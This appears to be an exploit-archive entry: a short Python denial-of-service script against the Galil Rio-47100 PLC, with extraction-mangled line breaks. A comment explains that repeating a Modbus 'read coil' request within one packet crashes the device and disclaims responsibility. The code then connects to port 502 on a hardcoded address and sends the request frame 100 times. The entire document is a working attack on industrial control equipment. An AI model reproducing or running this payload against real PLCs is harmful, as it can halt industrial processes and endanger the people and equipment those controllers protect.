/
*
There are many different ways to crash this PLC but most of them are
centralized around the repeating a request
in
a single packet
format
. So
read a coil repeated
in
a single packet.
The Rio
-
47100
by Galil
is
a small PLC with an internal RISC based
processor. It communicates using ModBus,
or
Telnet over Ethernet as well as
having a web server built
in
that allows a user to issue commands.
I take no responsibility
for
the use of this code
and
using this code you
agree to take responsibility
for
your own actions.
*
/
repeat to cause the crash
import
sys
import
socket
new
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect((
'192.168.1.12'
,
502
))
Address
new.send(
'\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'
*
100
)